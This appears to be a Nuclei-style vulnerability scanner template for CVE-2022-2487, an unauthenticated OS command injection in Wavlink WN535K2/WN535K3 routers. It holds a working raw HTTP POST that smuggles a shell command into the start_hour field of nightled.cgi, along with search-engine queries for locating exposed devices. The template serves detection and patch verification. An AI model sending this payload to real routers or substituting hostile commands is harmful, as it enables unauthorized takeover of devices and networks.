Wavlink WN535K2/WN535K3 - OS Command Injection

id: CVE-2022-2487

info:
  name: Wavlink WN535K2/WN535K3 - OS Command Injection
  author: For3stCo1d
  severity: critical
  description: |
    Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection which affects unknown code in /cgi-bin/nightled.cgi via manipulation of the argument start_hour. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487
    - https://vuldb.com/?id.204538
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2487
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2487
    cwe-id: CWE-78
    epss-score: 0.97404
    epss-percentile: 0.99916
    cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn535k2_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.title:"wi-fi app login"
    fofa-query: title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,iot,wavlink,router,rce,oast
variables:
  cmd: "id"

http:
  - raw:
      - |
        @timeout: 10s
        POST /cgi-bin/nightled.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=night_led&start_hour=;{{cmd}};

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "nightStart"
        condition: and

      - type: word
        words:
          - text/html

      - type: status
        status:
          - 200
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